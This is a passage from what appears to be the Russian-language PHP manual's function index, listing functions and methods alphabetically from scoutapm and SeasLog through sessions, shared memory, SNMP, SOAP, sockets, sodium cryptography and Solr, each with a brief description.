    • scoutapm_list_instrumented_functions - Список функций, которые scoutapm будет использовать
    • SeasLog::alert - Записывает информацию уровня "alert" в журнал
    • SeasLog::analyzerCount - Получает количество журналов по уровню, log_path и key_word
    • SeasLog::analyzerDetail - Получает детализацию журнала по уровню, log_path, key_word, start, limit, order
    • SeasLog::closeLoggerStream - Вручную освобождает поток от регистратора
    • SeasLog::critical - Записывает информацию уровня "critical" в журнал
    • SeasLog::debug - Записывает информацию уровня "debug" в журнал
    • SeasLog::emergency - Записывает информацию уровня "emergency" в журнал
    • SeasLog::error - Записывает информацию уровня "error" в журнал
    • SeasLog::flushBuffer - Очищает буфер логов, делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp
    • SeasLog::getBasePath - Получает базовый путь SeasLog
    • SeasLog::getBuffer - Получает буфер логов в памяти в виде массива
    • SeasLog::getBufferEnabled - Определяет, включён ли буфер
    • SeasLog::getDatetimeFormat - Получает стиль формата даты и времени SeasLog
    • SeasLog::getLastLogger - Получает последний путь регистратора SeasLog
    • SeasLog::getRequestID - Получает дифференцированные запросы SeasLog request_id
    • SeasLog::getRequestVariable - Получает переменную запроса SeasLog
    • SeasLog::info - Записывает информацию уровня "info" в журнал
    • SeasLog::log - Общая функция записи в журнал
    • SeasLog::notice - Записывает информацию уровня "notice" в журнал
    • SeasLog::setBasePath - Устанавливает базовый путь SeasLog
    • SeasLog::setDatetimeFormat - Устанавливает стиль формата даты и времени SeasLog
    • SeasLog::setLogger - Устанавливает имя регистратора SeasLog
    • SeasLog::setRequestID - Устанавливает дифференцированные запросы SeasLog request_id
    • SeasLog::setRequestVariable - Устанавливает переменную запроса SeasLog вручную
    • SeasLog::warning - Записывает информацию уровня "warning" в журнал
    • SeasLog::__construct - Описание
    • SeasLog::__destruct - Описание
    • seaslog_get_author - Получает автора SeasLog
    • seaslog_get_version - Получает версию SeasLog
    • SeekableIterator::seek - Перемещается к позиции
    • sem_acquire - Захват семафора
    • sem_get - Получение идентификатора семафора
    • sem_release - Освобождение семафора
    • sem_remove - Удаление семафора
    • SensitiveParameter::__construct - Создаёт новый экземпляр атрибута SensitiveParameter
    • SensitiveParameterValue::getValue - Возвращает чувствительное значение
    • SensitiveParameterValue::__construct - Создаёт новый объект SensitiveParameterValue
    • SensitiveParameterValue::__debugInfo - Защита чувствительных значений от случайного воздействия
    • Serializable::serialize - Представляет объект в виде строки
    • Serializable::unserialize - Создаёт объект
    • serialize - Генерирует пригодное для хранения представление переменной
    • Session::close - Закрывает сессию
    • Session::createSchema - Создаёт новую схему
    • Session::dropSchema - Удаляет схему
    • Session::generateUUID - Получает новый UUID
    • Session::getDefaultSchema - Получает имя схемы по умолчанию
    • Session::getSchema - Получает новый объект схемы
    • Session::getSchemas - Получает схемы
    • Session::getServerVersion - Получает версию сервера
    • Session::listClients - Получает список клиентов
    • Session::quoteName - Добавляет кавычки
    • Session::releaseSavepoint - Отменяет установленную точку сохранения
    • Session::rollback - Откатывает транзакцию
    • Session::rollbackTo - Откатывает транзакцию до точки сохранения
    • Session::setSavepoint - Создаёт точку сохранения
    • Session::sql - Создаёт SQL-запрос
    • Session::startTransaction - Начинает транзакцию
    • Session::__construct - Описание конструктора
    • SessionHandler::close - Закрывает сессию
    • SessionHandler::create_sid - Возвращает новый идентификатор сессии
    • SessionHandler::destroy - Уничтожает сессию
    • SessionHandler::gc - Очищает старые сессии
    • SessionHandler::open - Инициализирует сессию
    • SessionHandler::read - Считывает данные сессии
    • SessionHandler::write - Записывает данные сессии
    • SessionHandlerInterface::close - Закрывает сессию
    • SessionHandlerInterface::destroy - Уничтожает сессию
    • SessionHandlerInterface::gc - Очищает старые сессии
    • SessionHandlerInterface::open - Инициализирует сессию
    • SessionHandlerInterface::read - Читает данные сессии
    • SessionHandlerInterface::write - Записать данные сессии
    • SessionIdInterface::create_sid - Создать идентификатор сессии
    • SessionUpdateTimestampHandlerInterface::updateTimestamp - Обновить метку времени
    • SessionUpdateTimestampHandlerInterface::validateId - Проверить идентификатор
    • session_abort - Отменяет изменения в массиве сессии и завершает её
    • session_cache_expire - Получает и/или устанавливает срок действия текущего кеша
    • session_cache_limiter - Получить и/или установить текущий режим кеширования
    • session_commit - Псевдоним session_write_close
    • session_create_id - Создаёт новый идентификатор сессии
    • session_decode - Декодирует данные сессии из закодированной строки сессии
    • session_destroy - Уничтожает все данные сессии
    • session_encode - Кодирует данные текущей сессии в формате строки сессии
    • session_gc - Выполняет сборку мусора данных сессии
    • session_get_cookie_params - Возвращает параметры cookie сессии
    • session_id - Получает и/или устанавливает идентификатор текущей сессии
    • session_module_name - Возвращает и/или устанавливает модуль текущей сессии
    • session_name - Получить или установить имя текущей сессии
    • session_regenerate_id - Генерирует и обновляет идентификатор текущей сессии
    • session_register_shutdown - Функция завершения сессии
    • session_reset - Реинициализирует сессию оригинальными значениями
    • session_save_path - Получает и/или устанавливает путь сохранения сессии
    • session_set_cookie_params - Устанавливает параметры сессионной cookie
    • session_set_save_handler - Устанавливает пользовательские обработчики хранения сессии
    • session_start - Стартует новую сессию, либо возобновляет существующую
    • session_status - Возвращает состояние текущей сессии
    • session_unset - Удалить все переменные сессии
    • session_write_close - Записывает данные сессии и завершает её
    • setcookie - Отправляет cookie
    • setlocale - Устанавливает региональные настройки
    • setrawcookie - Отправляет cookie без URL-кодирования значения
    • settype - Задаёт тип переменной
    • set_error_handler - Задаёт пользовательский обработчик ошибок
    • set_exception_handler - Задаёт пользовательский обработчик исключений
    • set_file_buffer - Псевдоним stream_set_write_buffer
    • set_include_path - Устанавливает значение настройки конфигурации include_path
    • set_time_limit - Ограничение времени выполнения скрипта
    • sha1 - Возвращает SHA1-хеш строки
    • sha1_file - Возвращает SHA1-хеш файла
    • shell_exec - Выполнить команду через оболочку и вернуть вывод в виде строки
    • shmop_close - Закрытие блока разделяемой памяти
    • shmop_delete - Удаление блока разделяемой памяти
    • shmop_open - Резервирование или использование блока разделяемой памяти
    • shmop_read - Чтение данных из участка разделяемой памяти
    • shmop_size - Возвращает размер блока в разделяемой памяти
    • shmop_write - Запись данных в разделяемую память
    • shm_attach - Создаёт или открывает сегмент разделяемой памяти
    • shm_detach - Отключается от сегмента разделяемой памяти
    • shm_get_var - Возвращает переменную из разделяемой памяти
    • shm_has_var - Проверяет, существует ли конкретная запись
    • shm_put_var - Вставляет или обновляет переменную в разделяемой памяти
    • shm_remove - Удаляет разделяемую память из систем Unix
    • shm_remove_var - Удаляет переменную из разделяемой памяти
    • show_source - Псевдоним highlight_file
    • shuffle - Перемешивает массив
    • simdjson_decode - Декодирует строку JSON
    • simdjson_is_valid - Проверяет, является ли строка JSON корректной
    • simdjson_key_count - Возвращает значение по указателю JSON
    • simdjson_key_exists - Проверяет, содержит ли JSON значение, на которое ссылается указатель JSON
    • simdjson_key_value - Декодирует значение строки JSON, расположенной по запрошенному указателю JSON
    • similar_text - Вычисляет степень похожести двух строк
    • SimpleXMLElement::addAttribute - Добавляет атрибут к SimpleXML-элементу
    • SimpleXMLElement::addChild - Добавляет дочерний элемент к узлу XML
    • SimpleXMLElement::asXML - Возвращает сформированный XML-документ в виде строки на основе элемента SimpleXML
    • SimpleXMLElement::attributes - Возвращает атрибуты элемента
    • SimpleXMLElement::children - Находит дочерние элементы данного узла
    • SimpleXMLElement::count - Подсчитывает количество дочерних элементов у текущего элемента
    • SimpleXMLElement::current - Возвращает текущий элемент
    • SimpleXMLElement::getChildren - Возвращает дочерние элементы текущего элемента
    • SimpleXMLElement::getDocNamespaces - Возвращает пространства имён, объявленные в документе
    • SimpleXMLElement::getName - Получает имя элемента XML
    • SimpleXMLElement::getNamespaces - Возвращает пространства имён, используемые в документе
    • SimpleXMLElement::hasChildren - Проверяет, имеет ли текущий элемент дочерние элементы
    • SimpleXMLElement::key - Возвращает имя XML-тега текущего элемента
    • SimpleXMLElement::next - Переход к следующему элементу
    • SimpleXMLElement::registerXPathNamespace - Создаёт префикс/пространство имён контекста для следующего запроса XPath
    • SimpleXMLElement::rewind - Перемотка к первому элементу
    • SimpleXMLElement::saveXML - Псевдоним SimpleXMLElement::asXML
    • SimpleXMLElement::valid - Проверяет, является ли текущий элемент корректным
    • SimpleXMLElement::xpath - Запускает запрос XPath к XML-данным
    • SimpleXMLElement::__construct - Создаёт новый объект SimpleXMLElement
    • SimpleXMLElement::__toString - Возвращает содержимое строки
    • simplexml_import_dom - Получает объект класса SimpleXMLElement из узла DOM
    • simplexml_load_file - Интерпретирует XML-файл в объект
    • simplexml_load_string - Интерпретирует строку с XML в объект
    • sin - Вычисляет синус
    • sinh - Вычисляет гиперболический синус
    • sizeof - Псевдоним count
    • sleep - Задержка выполнения
    • snmp2_get - Получает объект SNMP
    • snmp2_getnext - Получает объект SNMP, который следует за данным идентификатором объекта
    • snmp2_real_walk - Возвращает все объекты, включая их идентификатор
    • snmp2_set - Устанавливает значение объекта SNMP
    • snmp2_walk - Получает все объекты SNMP из агента
    • snmp3_get - Получает объект SNMP
    • snmp3_getnext - Получает объект SNMP, который следует за указанным идентификатором объекта
    • snmp3_real_walk - Возвращает все объекты, включая их идентификатор в указанном объекте
    • snmp3_set - Устанавливает значение объекта SNMP
    • snmp3_walk - Получает все объекты SNMP из агента
    • SNMP::close - Закрывает сессию SNMP
    • SNMP::get - Получает объект SNMP
    • SNMP::getErrno - Получает код последней ошибки
    • SNMP::getError - Получает последнее сообщение об ошибке
    • SNMP::getnext - Получить объект SNMP, который следует за данным идентификатором объекта
    • SNMP::set - Устанавливает значение объекта SNMP
    • SNMP::setSecurity - Настраивает связанные с безопасностью параметры сессии SNMPv3
    • SNMP::walk - Получает поддерево объекта SNMP
    • SNMP::__construct - Создаёт экземпляр SNMP, представляющий сессию удалённого агента SNMP
    • snmpget - Получает объект SNMP
    • snmpgetnext - Получает объект SNMP, который следует за идентификатором объекта
    • snmprealwalk - Возвращает все объекты, включая их идентификатор
    • snmpset - Устанавливает значение объекта SNMP
    • snmpwalk - Получает все объекты SNMP из агента
    • snmpwalkoid - Запрос дерева информации о сетевом объекте
    • snmp_get_quick_print - Получает текущее значение параметра quick_print библиотеки NET-SNMP
    • snmp_get_valueretrieval - Возвращает метод, как будут возвращены значения SNMP
    • snmp_read_mib - Читает и анализирует файл MIB в активном дереве MIB
    • snmp_set_enum_print - Возвращает все значения, которые являются перечислениями, с их значением перечисления вместо необработанного целого числа
    • snmp_set_oid_numeric_print - Псевдоним snmp_set_oid_output_format
    • snmp_set_oid_output_format - Устанавливает выходной формат OID
    • snmp_set_quick_print - Устанавливает значение enable в библиотеке NET-SNMP
    • snmp_set_valueretrieval - Определяет метод возврата значений SNMP
    • SoapClient::__call - Вызывает SOAP-функцию (устаревший метод)
    • SoapClient::__construct - Конструктор класса SoapClient
    • SoapClient::__doRequest - Выполняет SOAP-запрос
    • SoapClient::__getCookies - Получить список cookies
    • SoapClient::__getFunctions - Возвращает список доступных SOAP-функций
    • SoapClient::__getLastRequest - Возвращает последний SOAP-запрос
    • SoapClient::__getLastRequestHeaders - Возвращает SOAP-заголовки последнего запроса
    • SoapClient::__getLastResponse - Возвращает последний SOAP-ответ
    • SoapClient::__getLastResponseHeaders - Возвращает SOAP-заголовки последнего ответа
    • SoapClient::__getTypes - Возвращает список SOAP-типов
    • SoapClient::__setCookie - Устанавливает cookie для запросов SOAP
    • SoapClient::__setLocation - Устанавливает адрес используемой веб-службы
    • SoapClient::__setSoapHeaders - Устанавливает SOAP-заголовки для последующих вызовов
    • SoapClient::__soapCall - Вызывает SOAP-функцию
    • SoapFault::__construct - Конструктор SoapFault
    • SoapFault::__toString - Получить текстовое представление SoapFault
    • SoapHeader::__construct - Конструктор SoapHeader
    • SoapParam::__construct - Конструктор SoapParam
    • SoapServer::addFunction - Добавляет одну или несколько функций для обработки запросов SOAP
    • SoapServer::addSoapHeader - Добавить заголовок SOAP в ответ
    • SoapServer::fault - Вынуждает SoapServer вернуть ошибку
    • SoapServer::getFunctions - Вернуть список определённых функций
    • SoapServer::handle - Обработка SOAP-запроса
    • SoapServer::setClass - Устанавливает класс, который обрабатывает SOAP-запросы
    • SoapServer::setObject - Устанавливает объект, который будет использоваться для обработки SOAP-запросов
    • SoapServer::setPersistence - Устанавливает режим сохранения SoapServer
    • SoapServer::__construct - Конструктор SoapServer
    • SoapVar::__construct - Конструктор SoapVar
    • socket_accept - Принимает соединение на сокете
    • socket_addrinfo_bind - Создать и привязать к сокету из указанного addrinfo
    • socket_addrinfo_connect - Создать и подключиться к сокету из указанного addrinfo
    • socket_addrinfo_explain - Получить информацию о addrinfo
    • socket_addrinfo_lookup - Получить массив с содержимым getaddrinfo про указанное имя хоста
    • socket_atmark - Определяет, находится ли сокет на внеполосной отметке
    • socket_bind - Привязывает имя к сокету
    • socket_clear_error - Очищает ошибку на сокете или последний код ошибки
    • socket_close - Закрывает экземпляр Socket
    • socket_cmsg_space - Вычислить размер буфера сообщения
    • socket_connect - Начинает соединение с сокетом
    • socket_create - Создаёт сокет (конечную точку для обмена информацией)
    • socket_create_listen - Открывает сокет на указанном порту для принятия соединений
    • socket_create_pair - Создаёт пару неразличимых сокетов и сохраняет их в массиве
    • socket_export_stream - Экспортировать сокет в поток, инкапсулирующий сокет
    • socket_getopt - Псевдоним socket_get_option
    • socket_getpeername - Запрашивает удалённую сторону указанного сокета, в результате может быть возвращён хост/порт или путь в файловой системе Unix, в зависимости от типа сокета
    • socket_getsockname - Запрашивает локальную сторону указанного сокета, в результате можно получить хост/порт или путь в файловой системе Unix, в зависимости от типа сокета
    • socket_get_option - Получает опции потока для сокета
    • socket_get_status - Псевдоним stream_get_meta_data
    • socket_import_stream - Импортировать поток
    • socket_last_error - Возвращает последнюю ошибку на сокете
    • socket_listen - Прослушивает входящие соединения на сокете
    • socket_read - Читает строку максимальной длины байт из сокета
    • socket_recv - Получает данные из подсоединённого сокета
    • socket_recvfrom - Получает данные из сокета, независимо от того, подсоединён он или нет
    • socket_recvmsg - Прочитать сообщение
    • socket_select - Запускает системный вызов select() для заданных массивов сокетов с указанным временем ожидания
    • socket_send - Отправляет данные в подсоединённый сокет
    • socket_sendmsg - Отправить сообщение
    • socket_sendto - Отправляет сообщение в сокет, независимо от того, подсоединён он или нет
    • socket_setopt - Псевдоним socket_set_option
    • socket_set_block - Устанавливает блокирующий режим на сокете
    • socket_set_blocking - Псевдоним stream_set_blocking
    • socket_set_nonblock - Устанавливает неблокирующий режим для файлового дескриптора fd
    • socket_set_option - Устанавливает опции для сокета
    • socket_set_timeout - Псевдоним stream_set_timeout
    • socket_shutdown - Завершает работу сокета на получение и/или отправку данных
    • socket_strerror - Возвращает строку, описывающую ошибку сокета
    • socket_write - Запись в сокет
    • socket_wsaprotocol_info_export - Экспорт структуры WSAPROTOCOL_INFO
    • socket_wsaprotocol_info_import - Импортирует сокет из другого процесса
    • socket_wsaprotocol_info_release - Высвобождает экспортированную структуру WSAPROTOCOL_INFO
    • sodium_add - Добавляет большие числа
    • sodium_base642bin - Преобразовывает строку в кодировке base64 в необработанный двоичный файл
    • sodium_bin2base64 - Кодирует необработанную двоичную строку с помощью base64
    • sodium_bin2hex - Кодировать в шестнадцатеричное представление
    • sodium_compare - Сравнить большие числа
    • sodium_crypto_aead_aes256gcm_decrypt - Проверяет и расшифровывает сообщение с помощью AES-256-GCM
    • sodium_crypto_aead_aes256gcm_encrypt - Шифрует, а затем проверяет подлинность с помощью AES-256-GCM
    • sodium_crypto_aead_aes256gcm_is_available - Проверить, поддерживает ли оборудование AES256-GCM
    • sodium_crypto_aead_aes256gcm_keygen - Создаёт случайный ключ AES-256-GCM
    • sodium_crypto_aead_chacha20poly1305_decrypt - Проверяет, затем расшифровывает с помощью ChaCha20-Poly1305
    • sodium_crypto_aead_chacha20poly1305_encrypt - Шифрует, а затем проверяет подлинность с помощью ChaCha20-Poly1305
    • sodium_crypto_aead_chacha20poly1305_ietf_decrypt - Проверить, что зашифрованный текст содержит допустимый тег
    • sodium_crypto_aead_chacha20poly1305_ietf_encrypt - Зашифровать сообщение
    • sodium_crypto_aead_chacha20poly1305_ietf_keygen - Создаёт случайный ключ ChaCha20-Poly1305 (IETF)
    • sodium_crypto_aead_chacha20poly1305_keygen - Создаёт случайный ключ ChaCha20-Poly1305
    • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt - (Предпочтительно) Проверяет, затем расшифровывает с помощью XChaCha20-Poly1305
    • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt - (Предпочтительно) Шифрует, а затем проверяет подлинность с помощью XChaCha20-Poly1305
    • sodium_crypto_aead_xchacha20poly1305_ietf_keygen - Создаёт случайный ключ XChaCha20-Poly1305
    • sodium_crypto_auth - Вычислить тег для сообщения
    • sodium_crypto_auth_keygen - Создаёт случайный ключ для sodium_crypto_auth
    • sodium_crypto_auth_verify - Проверяет, допустим ли тег для сообщения
    • sodium_crypto_box - Шифрование открытым ключом с проверкой подлинности
    • sodium_crypto_box_keypair - Сгенерировать случайным образом секретный ключ и соответствующий ему открытый ключ
    • sodium_crypto_box_keypair_from_secretkey_and_publickey - Создаёт унифицированную строку ключевой пары из секретного и открытого ключей
    • sodium_crypto_box_open - Расшифровка открытого ключа с проверкой подлинности
    • sodium_crypto_box_publickey - Извлекает открытый ключ из ключевой пары crypto_box
    • sodium_crypto_box_publickey_from_secretkey - Вычисляет открытый ключ из секретного ключа
    • sodium_crypto_box_seal - Шифрование открытым ключом без проверки подлинности
    • sodium_crypto_box_seal_open - Расшифровка открытым ключом без проверки подлинности
    • sodium_crypto_box_secretkey - Извлекает секретный ключ из ключевой пары crypto_box
    • sodium_crypto_box_seed_keypair - Детерминистический вывод ключевой пары из одного ключа
    • sodium_crypto_core_ristretto255_add - Добавляет элемент
    • sodium_crypto_core_ristretto255_from_hash - Сопоставляет вектор
    • sodium_crypto_core_ristretto255_is_valid_point - Определяет, лежит ли точка на кривой ristretto255
    • sodium_crypto_core_ristretto255_random - Генерирует случайный ключ
    • sodium_crypto_core_ristretto255_scalar_add - Добавляет скалярное значение
    • sodium_crypto_core_ristretto255_scalar_complement - Назначение sodium_crypto_core_ristretto255_scalar_complement
    • sodium_crypto_core_ristretto255_scalar_invert - Инвертирует скалярное значение
    • sodium_crypto_core_ristretto255_scalar_mul - Умножает скалярное значение
    • sodium_crypto_core_ristretto255_scalar_negate - Отменяет скалярное значение
    • sodium_crypto_core_ristretto255_scalar_random - Генерирует случайный ключ
    • sodium_crypto_core_ristretto255_scalar_reduce - Уменьшает скалярное значение
    • sodium_crypto_core_ristretto255_scalar_sub - Вычитает скалярное значение
    • sodium_crypto_core_ristretto255_sub - Вычитает элемент
    • sodium_crypto_generichash - Получить хеш сообщения
    • sodium_crypto_generichash_final - Закончить хеширование
    • sodium_crypto_generichash_init - Инициализирует хеш для потоковой передачи
    • sodium_crypto_generichash_keygen - Создаёт случайный общий хеш-ключ
    • sodium_crypto_generichash_update - Добавить сообщение к хешу
    • sodium_crypto_kdf_derive_from_key - Извлечь подраздел
    • sodium_crypto_kdf_keygen - Создаёт случайный корневой ключ для интерфейса KDF
    • sodium_crypto_kx_client_session_keys - Вычисляет ключи сессии на стороне клиента
    • sodium_crypto_kx_keypair - Создаёт новую пару ключей sodium
    • sodium_crypto_kx_publickey - Извлекает открытый ключ из пары ключей crypto_kx
    • sodium_crypto_kx_secretkey - Извлекает секретный ключ из пары ключей crypto_kx
    • sodium_crypto_kx_seed_keypair - Описание
    • sodium_crypto_kx_server_session_keys - Вычисляет ключи сессии на стороне сервера
    • sodium_crypto_pwhash - Получает ключ из пароля, используя Argon2
    • sodium_crypto_pwhash_scryptsalsa208sha256 - Получает ключ из пароля, используя scrypt
    • sodium_crypto_pwhash_scryptsalsa208sha256_str - Получить закодированный в ASCII хеш
    • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify - Проверить, что пароль является действительной строкой проверки пароля
    • sodium_crypto_pwhash_str - Получить ASCII-кодированный хеш
    • sodium_crypto_pwhash_str_needs_rehash - Определяет, следует ли повторно использовать пароль
    • sodium_crypto_pwhash_str_verify - Проверяет, что пароль соответствует хешу
    • sodium_crypto_scalarmult - Вычислить общий секрет на основании секретного ключа пользователя и открытого ключа другого пользователя
    • sodium_crypto_scalarmult_base - Псевдоним sodium_crypto_box_publickey_from_secretkey
    • sodium_crypto_scalarmult_ristretto255 - Вычисляет общий секрет
    • sodium_crypto_scalarmult_ristretto255_base - Вычисляет открытый ключ из закрытого ключа
    • sodium_crypto_secretbox - Шифрование с общим ключом с проверкой подлинности
    • sodium_crypto_secretbox_keygen - Создаёт случайный ключ для sodium_crypto_secretbox
    • sodium_crypto_secretbox_open - Расшифровка с использованием общего ключа с проверкой подлинности
    • sodium_crypto_secretstream_xchacha20poly1305_init_pull - Инициализирует контекст secretstream для дешифрования
    • sodium_crypto_secretstream_xchacha20poly1305_init_push - Инициализирует контекст secretstream для шифрования
    • sodium_crypto_secretstream_xchacha20poly1305_keygen - Создаёт случайный ключ secretstream
    • sodium_crypto_secretstream_xchacha20poly1305_pull - Расшифровывает часть данных из зашифрованного потока
    • sodium_crypto_secretstream_xchacha20poly1305_push - Шифрует фрагмент данных, чтобы его можно было безопасно расшифровать в потоковом API
    • sodium_crypto_secretstream_xchacha20poly1305_rekey - Явно поворачивает ключ в состояние secretstream
    • sodium_crypto_shorthash - Вычисляет короткий хеш сообщения и ключ
    • sodium_crypto_shorthash_keygen - Получить случайные байты для ключа
    • sodium_crypto_sign - Подписать сообщение
    • sodium_crypto_sign_detached - Подписать сообщение
    • sodium_crypto_sign_ed25519_pk_to_curve25519 - Преобразование открытого ключа системы Ed25519 в открытый ключ Curve25519
    • sodium_crypto_sign_ed25519_sk_to_curve25519 - Преобразовать секретный ключ из системы Ed25519 в секретный ключ Curve25519
    • sodium_crypto_sign_keypair - Произвольно сгенерировать секретный ключ и соответствующий открытый ключ
    • sodium_crypto_sign_keypair_from_secretkey_and_publickey - Объединяет секретный ключ и открытый ключ вместе
    • sodium_crypto_sign_open - Проверить, что подписанное сообщение имеет корректную подпись
    • sodium_crypto_sign_publickey - Извлекает открытый ключ Ed25519 из пары ключей
    • sodium_crypto_sign_publickey_from_secretkey - Извлекает открытый ключ Ed25519 из секретного ключа
    • sodium_crypto_sign_secretkey - Извлекает секретный ключ Ed25519 из пары ключей
    • sodium_crypto_sign_seed_keypair - Детерминированный вывод пары ключей из одного ключа
    • sodium_crypto_sign_verify_detached - Проверить подпись для сообщения
    • sodium_crypto_stream - Создаёт детерминированную последовательность байтов из начального числа
    • sodium_crypto_stream_keygen - Генерирует случайный ключ sodium_crypto_stream
    • sodium_crypto_stream_xchacha20 - Расширяет ключ и одноразовый номер в ключевой поток псевдослучайных байтов
    • sodium_crypto_stream_xchacha20_keygen - Возвращает безопасный случайный ключ
    • sodium_crypto_stream_xchacha20_xor - Шифрует сообщение, используя одноразовый номер и секретный ключ (без аутентификации)
    • sodium_crypto_stream_xchacha20_xor_ic - Шифрует сообщение, используя неясный код и секретный ключ (без аутентификации)
    • sodium_crypto_stream_xor - Шифрует сообщение без аутентификации
    • sodium_hex2bin - Декодирует строку в шестнадцатеричном представлении в бинарное
    • sodium_increment - Увеличить на единицу большое число
    • sodium_memcmp - Проверка на равенство за постоянное количество времени
    • sodium_memzero - Перезаписывает строку символами NULL
    • sodium_pad - Дополняет строку отступами
    • sodium_unpad - Удаление данных отступов
    • SolrClient::addDocument - Добавляет документ в индекс
    • SolrClient::addDocuments - Добавляет коллекцию экземпляров SolrInputDocument в индекс
    • SolrClient::commit - Завершает все добавления/удаления, сделанные в индексе
    • SolrClient::deleteById - Удаляет по идентификатору
    • SolrClient::deleteByIds - Удаляет по идентификаторам
    • SolrClient::deleteByQueries - Удаляет все документы, соответствующие любому из запросов
    • SolrClient::deleteByQuery - Удаляет все документы, соответствующие заданному запросу
    • SolrClient::getById - Получает документ по идентификатору. Использует Solr Realtime Get (RTG)
    • SolrClient::getByIds - Получает документы по их идентификаторам. Использует Solr Realtime Get (RTG)
    • SolrClient::getDebug - Возвращает данные отладки для последней попытки подключения
    • SolrClient::getOptions - Возвращает внутренние параметры клиента
    • SolrClient::optimize - Дефрагментирует индекс
    • SolrClient::ping - Проверяет, работает ли сервер Solr
    • SolrClient::query - Отправляет запрос на сервер
    • SolrClient::request - Отправляет необработанный запрос на обновление
    • SolrClient::rollback - Откатывает все добавления/удаления, сделанные в индекс с момента последней фиксации
    • SolrClient::setResponseWriter - Устанавливает писатель ответа, используемый для подготовки ответа от Solr
    • SolrClient::setServlet - Изменяет указанный тип сервлета на новое значение
    • SolrClient::system - Получает информацию о сервере Solr
    • SolrClient::threads - Проверяет статус тем
    • SolrClient::__construct - Конструктор объекта SolrClient
    • SolrClient::__destruct - Деструктор SolrClient
    • SolrClientException::getInternalInfo - Возвращает внутреннюю информацию о том, где было выброшено исключение
    • SolrCollapseFunction::getField - Возвращает свёрнутое поле
    • SolrCollapseFunction::getHint - Возвращает подсказку сворачивания
    • SolrCollapseFunction::getMax - Возвращает максимальное значение
    • SolrCollapseFunction::getMin - Возвращает минимальное значение
    • SolrCollapseFunction::getNullPolicy - Возвращает NULL-политику
    • SolrCollapseFunction::getSize - Возвращает параметр размера
    • SolrCollapseFunction::setField - Устанавливает поле для свёртывания
    • SolrCollapseFunction::setHint - Устанавливает подсказку сворачивания
    • SolrCollapseFunction::setMax - Выбирает заголовки группы по максимальному значению числового поля или запроса функции
    • SolrCollapseFunction::setMin - Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю
    • SolrCollapseFunction::setNullPolicy - Устанавливает NULL-политику
    • SolrCollapseFunction::setSize - Устанавливает начальный размер сворачиваемых структур данных только при сворачивании по числовому полю
    • SolrCollapseFunction::__construct - Конструктор класса
    • SolrCollapseFunction::__toString - Возвращает строку, представляющую построенную функцию свёртывания
    • SolrDisMaxQuery::addBigramPhraseField - Добавляет поле фразовой биграммы (параметр pf2)
    • SolrDisMaxQuery::addBoostQuery - Добавляет поле повышения запроса со значением и необязательным усилением (параметр bq)
    • SolrDisMaxQuery::addPhraseField - Добавляет поле фразы (параметр pf)
    • SolrDisMaxQuery::addQueryField - Добавляет поле запроса с необязательным повышением (параметр qf)
    • SolrDisMaxQuery::addTrigramPhraseField - Добавляет поле триграммы (параметр pf3)
    • SolrDisMaxQuery::addUserField - Добавляет поле в параметр пользовательских полей (uf)
    • SolrDisMaxQuery::removeBigramPhraseField - Удаляет поле биграммы фразы (параметр pf2)
    • SolrDisMaxQuery::removeBoostQuery - Удаляет частичное повышение запроса по имени поля (bq)
    • SolrDisMaxQuery::removePhraseField - Удаляет поле фразы (параметра)
    • SolrDisMaxQuery::removeQueryField - Удаляет поле запроса (параметр qf)
    • SolrDisMaxQuery::removeTrigramPhraseField - Удаляет поле триграммы (параметр pf3)
    • SolrDisMaxQuery::removeUserField - Удаляет поле из параметра пользовательских полей (uf)
    • SolrDisMaxQuery::setBigramPhraseFields - Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2
    • SolrDisMaxQuery::setBigramPhraseSlop - Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)
    • SolrDisMaxQuery::setBoostFunction - Устанавливает функцию усиления (параметр bf)
    • SolrDisMaxQuery::setBoostQuery - Непосредственно устанавливает параметр запроса усиления (bq)
    • SolrDisMaxQuery::setMinimumMatch - Устанавливает минимальное соответствие "Should" (mm)
    • SolrDisMaxQuery::setPhraseFields - Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2
    • SolrDisMaxQuery::setPhraseSlop - Устанавливает коэффициент отклонения по умолчанию для запросов фраз (параметр ps)
    • SolrDisMaxQuery::setQueryAlt - Устанавливает альтернативный запрос (параметр q.alt)
    • SolrDisMaxQuery::setQueryPhraseSlop - Определяет коэффициент отклонения, разрешённый для фразовых запросов, явно включённых в строку запроса пользователя (параметр qf)
    • SolrDisMaxQuery::setTieBreaker - Устанавливает параметр Tie Breaker (параметр tie)
    • SolrDisMaxQuery::setTrigramPhraseFields - Непосредственно устанавливает поля триграммы фразы (параметр pf3)
    • SolrDisMaxQuery::setTrigramPhraseSlop - Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)
    • SolrDisMaxQuery::setUserFields - Устанавливает параметр пользовательских полей (uf)
    • SolrDisMaxQuery::useDisMaxQueryParser - Переключает QueryParser на DisMax Query Parser
    • SolrDisMaxQuery::useEDisMaxQueryParser - Переключает QueryParser на EDisMax
    • SolrDisMaxQuery::__construct - Конструктор класса
    • SolrDocument::addField - Добавляет поле в документ
    • SolrDocument::clear - Удаляет все поля в документе
    • SolrDocument::current - Получает текущее поле
    • SolrDocument::deleteField - Удаляет поле из документа
    • SolrDocument::fieldExists - Проверяет, существует ли поле в документе
    • SolrDocument::getChildDocuments - Возвращает массив дочерних документов (SolrDocument)
    • SolrDocument::getChildDocumentsCount - Возвращает количество дочерних документов
    • SolrDocument::getField - Получает поле по имени
    • SolrDocument::getFieldCount - Возвращает количество полей в этом документе
    • SolrDocument::getFieldNames - Возвращает массив имён полей в документе
    • SolrDocument::getInputDocument - Возвращает SolrInputDocument эквивалент объекта
    • SolrDocument::hasChildDocuments - Проверяет, есть ли у документа дочерние документы
    • SolrDocument::key - Получает текущий ключ
    • SolrDocument::merge - Сливает источник в текущий SolrDocument
    • SolrDocument::next - Перемещает внутренний указатель на следующее поле
    • SolrDocument::offsetExists - Проверяет, существует ли конкретное поле
    • SolrDocument::offsetGet - Получает поле
    • SolrDocument::offsetSet - Добавляет поле в документ
    • SolrDocument::offsetUnset - Удаляет поле
    • SolrDocument::reset - Псевдоним SolrDocument::clear
    • SolrDocument::rewind - Сбрасывает внутренний указатель на начало
    • SolrDocument::serialize - Используется для пользовательской сериализации
